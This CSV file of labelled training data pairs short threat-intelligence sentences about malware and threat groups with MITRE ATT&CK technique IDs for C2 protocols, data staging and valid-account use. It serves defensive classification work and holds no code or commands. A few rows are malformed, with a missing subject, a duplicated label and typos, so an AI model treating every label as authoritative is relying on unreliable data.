PLEAD has used HTTP for communications with command and control (C2) servers.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
POWRUNER can use HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
PUNCHBUGGY enables remote interaction and can obtain additional code over HTTPS GET and POST requests.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Pandora can communicate over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
PcShare has used HTTP for C2 communication.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
PinchDuke transfers files from the compromised host via HTTP or HTTPS to a C2 server.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
PlugX can be configured to use HTTP for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
PoetRAT has used HTTP and HTTPs for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
PolyglotDuke has has used HTTP GET requests in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Pony has sent collected information to the C2 via HTTP POST request.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
PoshC2 can use protocols like HTTP/HTTPS for command and control traffic.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
PowerShower has sent HTTP GET and POST requests to C2 servers to send information and receive instructions.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Proxysvc uses HTTP over SSL to communicate commands with the control server.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Psylo uses HTTPS for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Pteranodon can use HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Pupy can communicate over HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
QUADAGENT uses HTTPS and HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
QakBot has the ability to use HTTP and HTTPS in communication with C2 servers.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
QuietSieve can use HTTPS in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
RATANKBA uses HTTP/HTTPS for command and control communication.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
RCSession can use HTTP in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
REvil has used HTTP and HTTPS in communication with C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
ROKRAT can use HTTP and HTTPS for command and control communication.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
RTM has initiated connections to external domains using HTTPS.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
RainyDay can use HTTP in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Ramsay has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Rancor has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Remexi uses BITSAdmin to communicate with the C2 server over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Remsec is capable of using HTTP and HTTPS for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Rising Sun has used HTTP and HTTPS for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Rocke has executed wget and curl commands to Pastebin over the HTTPS protocol.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
S-Type uses HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
SLOTHFULMEDIA has used HTTP and HTTPS for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
SNUGRIDE communicates with its C2 server over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
SUPERNOVA had to receive an HTTP GET request containing a specific set of parameters in order to execute.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Sakula uses HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Sandworm Team's BCS-server tool connects to the designated C2 server via HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
SeaDuke uses HTTP and HTTPS for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
ServHelper uses HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Shamoon has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
ShimRat communicated over HTTP and HTTPS with C2 servers.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
ShimRatReporter communicated over HTTP with preconfigured C2 servers.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Sibot communicated with its C2 server via HTTP GET requests.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
SideTwist has used HTTP GET and POST requests over port 443 for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
SilverTerrier uses HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Sliver has the ability to support C2 communications over HTTP/S.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Small Sieve can contact actor-controlled C2 servers by using the Telegram API over HTTPS.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Smoke Loader uses HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Some Reaver variants use HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
SoreFang can use HTTP in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Spark has used HTTP POST requests to communicate with its C2 server to receive commands.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
SpeakUp uses POST and GET requests over HTTP to communicate with its main C&C server.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Squirrelwaffle has used HTTP POST requests for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Stealth Falcon malware communicates with its C2 server via HTTPS.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
StrongPity can use HTTP and HTTPS in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Stuxnet uses HTTP to communicate with a command and control server.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Sys10 uses HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
TA551 has used HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
TSCookie can multiple protocols including HTTP and HTTPS in communication with command and control (C2) servers.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Taidoor has used HTTP GET and POST requests for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"The ""Uploader"" variant of HAMMERTOSS visits a hard-coded server over HTTP/S to download the images HAMMERTOSS uses to receive commands.",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
The Komplex C2 channel uses HTTP POST requests.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"The Regin malware platform supports many standard protocols, including HTTP and HTTPS.",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
ThiefQuest uploads files via unencrypted HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Threat Group-3390 malware has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
TinyTurla can use HTTPS in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Tomiris can use HTTP to establish C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Torisma can use HTTP and HTTPS for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"TrickBot uses HTTPS to communicate with its C2 servers, to get malware updates, modules that perform most of the malware logic and various configuration files.",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Turian has the ability to use HTTP for its C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Turla has used HTTP and HTTPS for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
UBoatRAT has used HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
UNC2452 used HTTP for C2 and data exfiltration.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"UPPERCUT has used HTTP for C2, including sending error codes in Cookie headers.",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Ursnif has used HTTPS for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
VBShower has attempted to obtain a VBS script from command and control (C2) nodes over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
VERMIN uses HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
VaporRage can use HTTP to download shellcode from compromised websites.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Various implementations of CHOPSTICK communicate with C2 over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Vasport creates a backdoor by making a connection using a HTTP POST.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
WellMess can use HTTP and HTTPS in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
WinMM uses HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
WindTail has the ability to use HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Windshift has used tools that communicate with C2 over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Winnti for Linux has used HTTP in outbound communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Winnti for Windows has the ability to use encapsulated HTTP/S in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Wizard Spider has used HTTP for network communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Xbash uses HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
YAHOYAH uses HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
ZLib communicates over HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
ZeroT has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Zeus Panda uses HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
ZxShell has used HTTP for C2 connections.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
httpclient uses HTTP for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
pngdowner uses HTTP for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
xCaon has communicated with the C2 server by sending POST requests over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
CARROTBALL has the ability to use FTP in C2 communications.,['T1071.002 - File Transfer Protocols'],fine_tune
"During Operation Honeybee, the threat actors had the ability to use FTP for C2.",['T1071.002 - File Transfer Protocols'],fine_tune
JPIN can communicate over FTP.,['T1071.002 - File Transfer Protocols'],fine_tune
Kimsuky has used FTP to download additional malware to the target machine.,['T1071.002 - File Transfer Protocols'],fine_tune
Machete malware used FTP for C2.,['T1071.002 - File Transfer Protocols'],fine_tune
Machete uses FTP for Command & Control.,['T1071.002 - File Transfer Protocols'],fine_tune
NOKKI has used FTP for C2 communications.,['T1071.002 - File Transfer Protocols'],fine_tune
SYSCON has the ability to use FTP in C2 communications.,['T1071.002 - File Transfer Protocols'],fine_tune
ShadowPad has used FTP for C2 communications.,['T1071.002 - File Transfer Protocols'],fine_tune
SilverTerrier uses FTP for C2 communications.,['T1071.002 - File Transfer Protocols'],fine_tune
XAgentOSX contains the ftpUpload function to use the FTPManager:uploadFile method to upload files from the target system.,['T1071.002 - File Transfer Protocols'],fine_tune
ZxShell has used FTP for C2 connections.,['T1071.002 - File Transfer Protocols'],fine_tune
A SUGARDUMP variant used SMTP for C2.,['T1071.003 - Mail Protocols'],fine_tune
"APT28 has used IMAP, POP3, and SMTP for a communication channel in various implants, including using self-registered Google Mail accounts and later compromised email servers of its victims.",['T1071.003 - Mail Protocols'],fine_tune
APT32 has used email for C2 via an Office macro.,['T1071.003 - Mail Protocols'],fine_tune
Agent Tesla has used SMTP for C2 communications.,['T1071.003 - Mail Protocols'],fine_tune
BadPatch uses SMTP for C2.,['T1071.003 - Mail Protocols'],fine_tune
CORESHELL can communicate over SMTP and POP3 for C2.,['T1071.003 - Mail Protocols'],fine_tune
Cannon uses SMTP/S and POP3/S for C2 communications by sending and receiving emails.,['T1071.003 - Mail Protocols'],fine_tune
JPIN can send email over SMTP.,['T1071.003 - Mail Protocols'],fine_tune
LightNeuron uses SMTP for C2.,['T1071.003 - Mail Protocols'],fine_tune
"NavRAT uses the email platform, Naver, for C2 communications, leveraging SMTP.",['T1071.003 - Mail Protocols'],fine_tune
OLDBAIT can use SMTP for C2.,['T1071.003 - Mail Protocols'],fine_tune
RDAT can use email attachments for C2 communications.,['T1071.003 - Mail Protocols'],fine_tune
Remsec is capable of using SMTP for C2.,['T1071.003 - Mail Protocols'],fine_tune
SilverTerrier uses SMTP for C2 communications.,['T1071.003 - Mail Protocols'],fine_tune
Turla has used multiple backdoors which communicate with a C2 server via email attachments.,['T1071.003 - Mail Protocols'],fine_tune
Various implementations of CHOPSTICK communicate with C2 over SMTP and POP3.,['T1071.003 - Mail Protocols'],fine_tune
Zebrocy uses SMTP and POP3 for C2.,['T1071.003 - Mail Protocols'],fine_tune
APT18 uses DNS for C2 communications.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
APT39 has used remote access tools that leverage DNS in communications with C2.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
APT41 used DNS for C2 communications.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
BONDUPDATER can use DNS and TXT records within its DNS tunneling protocol for command and control.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Chimera has used Cobalt Strike to encapsulate C2 in DNS traffic.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Cobalt Group has used DNS tunneling for C2.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Cobalt Strike can use a custom command and control protocol that can be encapsulated in DNS. All protocols use their standard assigned ports.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Cobalt Strike uses a custom command and control protocol that can encapsulated in DNS. All protocols use their standard assigned ports.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Cobian RAT uses DNS for C2.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
DanBot can use use IPv4 A records and IPv6 AAAA DNS records in C2 communications.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Denis has used DNS tunneling for C2 communications.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
DnsSystem  can direct queries to custom DNS servers and return C2 commands using TXT records.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Ebury has used DNS requests over UDP port 53 for C2.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Gelsemium has the ability to use DNS in communication with C2.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Goopy has the ability to communicate with its C2 over DNS.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
HTTPBrowser has used DNS for command and control.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Helminth can use DNS for C2.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Heyoka Backdoor can use DNS tunneling for C2 communications.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
InvisiMole has used a custom implementation of DNS tunneling to embed C2 communications in DNS requests and replies.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Ke3chang malware RoyalDNS has used DNS for C2.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
LazyScripter has leveraged dynamic DNS providers for C2 communications.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Matryoshka uses DNS for C2.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Mythic supports DNS-based C2 profiles.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
NanHaiShu uses DNS for the C2 communications.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
"OilRig has used DNS for C2 including the publicly available ""requestbin.net"" tunneling service.",['T1071.004 - Application Layer Protocol: DNS'],fine_tune
POWRUNER can use DNS for C2 communications.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Pisloader uses DNS as its C2 protocol.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
RDAT has used DNS to communicate with the C2.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Remsec is capable of using DNS for C2.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
SOUNDBITE communicates via DNS for C2.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
SUNBURST used DNS for C2 traffic designed to mimic normal SolarWinds API communications.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
ShadowPad has used DNS tunneling for C2 communications.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Shark can use DNS in C2 communications.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Sliver can support C2 communications over DNS.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
SombRAT can communicate over DNS with the C2 server.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
TEXTMATE uses DNS TXT records for C2.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Variants of Kevin can communicate over DNS through queries to the server for constructed domain names with embedded information.,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
APT32 compromised McAfee ePO to move laterally by distributing malware as a software deployment task.,['T1072 - Software Deployment Tools'],fine_tune
"Threat Group-1314 actors used a victim's endpoint management platform, Altiris, for lateral movement.",['T1072 - Software Deployment Tools'],fine_tune
Kevin can create directories to store logs and other collected data.,['T1074 - Data Staged'],fine_tune
"Kobalos can write captured SSH connection credentials to a file under the ""/var/run"" directory with a "".pid"" extension for exfiltration.",['T1074 - Data Staged'],fine_tune
Shark has stored information in folders named `U1` and `U2` prior to exfiltration.,['T1074 - Data Staged'],fine_tune
stages collected data in a text file.,"['T1074 - Data Staged', 'T1074 - Data Staged']",fine_tune
ADVSTORESHELL stores output from command execution in a .dat file in the %TEMP% directory.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
APT28 has stored captured credential information in a file named pi.log.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
APT39 has utilized tools to aggregate data prior to exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
AppleSeed can stage files in a central location prior to exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Astaroth collects data in a plaintext file named r1.log before exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Attor has staged collected data in a central upload directory prior to exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
AuTo Stealer can store collected data from an infected host to a file named `Hostname_UserName.txt` prior to exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"BADNEWS copies documents under 15MB found on the victim system to is the user's ""%temp%\SMB\"" folder. It also copies files from USB devices to a predefined directory.",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
BackdoorDiplomacy has copied files of interest to the main drive's recycle bin.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
BadPatch stores collected data in log files before exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
BoxCaon has created a working folder for collected files that it sends to the C2 server.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Calisto uses a hidden directory named .calisto to store data from the victim’s machine before exfiltration.,"['T1074.001 - Data Staged: Local Data Staging', 'T1564.001 - Hide Artifacts: Hidden Files and Directories']",fine_tune
Carbon creates a base directory that contains the files and folders that are collected.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Chimera has staged stolen data locally on compromised hosts.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"Data captured by RawPOS is placed in a temporary file under a directory named ""memdump"".",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"Dragonfly 2.0 created a directory named ""out"" in the user's %AppData% folder and copied files to it.",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"Dragonfly has created a directory named ""out"" in the user's %AppData% folder and copied files to it.",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"During Operation Honeybee, stolen data was copied into a text file using the format `From <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt` prior to compression, encoding, and exfiltration.",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"During Operation Wocao, threat actors staged archived files in a temporary directory prior to exfiltration.",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
DustySky created folders in temp directories to host collected files before exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Dyre has the ability to create files in a TEMP folder to act as a database to store information.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"Elise creates a file in ""AppData\Local\Microsoft\Windows\Explorer"" and stores all harvested data in that file.",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Exaramel for Windows specifies a path to store files scheduled for exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"FLASHFLOOD stages data it copies from the local system or removable drives in the ""%WINDIR%\$NtUninstallKB885884$\"" directory.",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
FrameworkPOS can identifiy payment card track data on the victim and copy it to a local file in a subdirectory of C:\Windows\.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
FunnyDream can stage collected information including screen captures and logged keystrokes locally.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
GALLIUM compressed and staged files in multi-part archives in the Recycle Bin prior to exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Gold Dragon stores information gathered from the endpoint in a file named 1.hwp.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Helminth creates folders to store output from batch scripts prior to sending the information to its C2 server.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"Honeybee adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.","['T1074.001 - Data Staged: Local Data Staging', 'T1560 - Archive Collected Data']",fine_tune
Indrik Spider has stored collected date in a .tmp file.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
InvisiMole determines a working directory where it stores all the gathered data about the compromised machine.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Kazuar stages command output and collected data in files before exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"Kimsuky has staged collected data files under ""C:\Program Files\Common Files\System\Ole DB\"".",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is saved in the %TEMP% directory, then compressed, encrypted, and uploaded to a C2 server.",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Leviathan has used C:\Windows\Debug and C:\Perflogs as staging directories.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"LightNeuron can store email data in files and directories specified in its configuration, such as ""C:\Windows\ServiceProfiles\NetworkService\appdata\Local\Temp\"".",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
MESSAGETAP stored targeted SMS messages that matched its target list in CSV files on the compromised system.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Machete created their own directories to drop files into.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Machete stores files and logs in a folder on the local drive.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Mis-Type has temporarily stored collected information to the files `“%AppData%\{Unique Identifier}\HOSTRURKLSR”` and `“%AppData%\{Unique Identifier}\NEWERSSEMP”`.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
MoonWind saves information from its keylogging routine as a .zip file in the present working directory.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"NETWIRE has the ability to write collected data to a file created in the ""./LOGS"" directory.",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"NOKKI can collect data from the victim and stage it in ""LOCALAPPDATA%\MicroSoft Updatea\uplog.tmp"".",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"ObliqueRAT can copy specific files, webcam captures, and screenshots to local directories.",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Octopus has stored collected information in the Application Data directory on a compromised host.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
OopsIE stages the output from command execution and collected files in specific folders before exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Operation Wocao has staged archived files in a temporary directory prior to exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
PUNCHTRACK aggregates collected data in a tmp file.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Patchwork copied all targeted files to a directory called index that was eventually uploaded to the C&C server.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
PoisonIvy stages collected data in a text file.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
PowerLess can stage stolen browser data in `C:\\Windows\\Temp\\cup.tmp` and keylogger data in `C:\\Windows\\Temp\\Report.06E17A5A-7325-4325-8E5D-E172EBA7FC5BK`.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"Prikormka creates a directory, ""%USERPROFILE%\AppData\Local\SKC\"", which is used to store collected log files.",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"Rover copies files from removable drives to ""C:\system"".",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
SPACESHIP identifies files with certain extensions and copies them to a directory in the user's profile.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
STARWHALE has stored collected data in a file called `stari.txt`.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
SUGARDUMP has stored collected data under `%<malware_execution_folder>%\\CrashLog.txt`.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Sidewinder has collected stolen files in a temporary folder in preparation for exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
SombRAT can store harvested data in a custom database under the %TEMP% directory.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
TeamTNT has aggregated collected credentials in text files before exfiltrating.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Threat Group-3390 has locally staged encrypted archives for later exfiltration efforts.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Turian can store copied files in a specific directory prior to exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
USBStealer collects files matching certain criteria from the victim and stores them in a local directory for later exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Ursnif has used tmp files to stage gathered information.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
Zebrocy stores all collected information in a single file before exfiltration.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
ccf32 can temporarily store files in a hidden directory on the local host.,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
APT28 has staged archives of collected data on a target's Outlook Web Access (OWA) server.,['T1074.002 - Remote Data Staging'],fine_tune
Chimera has staged stolen data on designated servers in the target environment.,['T1074.002 - Remote Data Staging'],fine_tune
"During Night Dragon, threat actors copied files to company web servers and subsequently downloaded them.",['T1074.002 - Remote Data Staging'],fine_tune
FIN6 actors have compressed data from remote systems and moved it to another staging system before exfiltration.,['T1074.002 - Remote Data Staging'],fine_tune
FIN8 aggregates staged data from a network into a single location.,['T1074.002 - Remote Data Staging'],fine_tune
Leviathan has staged data remotely prior to exfiltration.,['T1074.002 - Remote Data Staging'],fine_tune
Threat Group-3390 has moved staged encrypted archives to Internet-facing servers that had previously been compromised with China Chopper prior to exfiltration.,['T1074.002 - Remote Data Staging'],fine_tune
UNC2452 staged data and files in password-protected archives on a victim's OWA server.,['T1074.002 - Remote Data Staging'],fine_tune
menuPass has staged data on remote MSP systems or other victim networks prior to exfiltration.,['T1074.002 - Remote Data Staging'],fine_tune
APT18 actors leverage legitimate credentials to log into external remote services.,"['T1078 - Valid Accounts', 'T1133 - External Remote Services']",fine_tune
"APT28 has used legitimate credentials to gain initial access, maintain access, and exfiltrate data from a victim network. The group has specifically used credentials stolen through a spearphishing email to login to the DCCC network. The group has also leveraged default manufacturer's passwords to gain initial access to corporate networks via IoT devices such as a VOIP phone, printer, and video decoder.",['T1078 - Valid Accounts'],fine_tune
APT29 used different compromised credentials for remote access and to move laterally.,['T1078 - Valid Accounts'],fine_tune
APT34 has used valid administrator credentials to assist in lateral movement.,['T1078 - Valid Accounts'],fine_tune
Carbanak actors used legitimate credentials of banking employees to perform operations that sent them millions of dollars.,['T1078 - Valid Accounts'],fine_tune
Chimera has used a valid account to maintain persistence via scheduled task.,['T1078 - Valid Accounts'],fine_tune
Dragonfly 2.0 compromised user credentials and used valid accounts for operations.,['T1078 - Valid Accounts'],fine_tune
Dtrack used hard-coded credentials to gain access to a network share.,['T1078 - Valid Accounts'],fine_tune
"During Night Dragon, threat actors used compromised VPN accounts to gain access to victim systems.","['T1078 - Valid Accounts', 'T1133 - External Remote Services']",fine_tune
FIN10 has used stolen credentials to connect remotely to victim networks using VPNs protected with only a single factor.,['T1078 - Valid Accounts'],fine_tune
FIN4 has used legitimate credentials to hijack email communications.,['T1078 - Valid Accounts'],fine_tune
"FIN5 has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment.",['T1078 - Valid Accounts'],fine_tune
FIN7 has harvested valid administrative credentials for lateral movement.,['T1078 - Valid Accounts'],fine_tune
Fox Kitten has used valid credentials with various services during lateral movement.,['T1078 - Valid Accounts'],fine_tune
GALLIUM leveraged valid accounts to maintain access to a victim network.,['T1078 - Valid Accounts'],fine_tune
Industroyer can use supplied user credentials to execute processes and stop services.,['T1078 - Valid Accounts'],fine_tune
"Ke3chang has used credential dumpers or stealers to obtain legitimate credentials, which they used to gain access to victim accounts.",['T1078 - Valid Accounts'],fine_tune
Kinsing has used valid SSH credentials to access remote hosts.,['T1078 - Valid Accounts'],fine_tune
Leviathan has obtained valid accounts to gain initial access.,['T1078 - Valid Accounts'],fine_tune
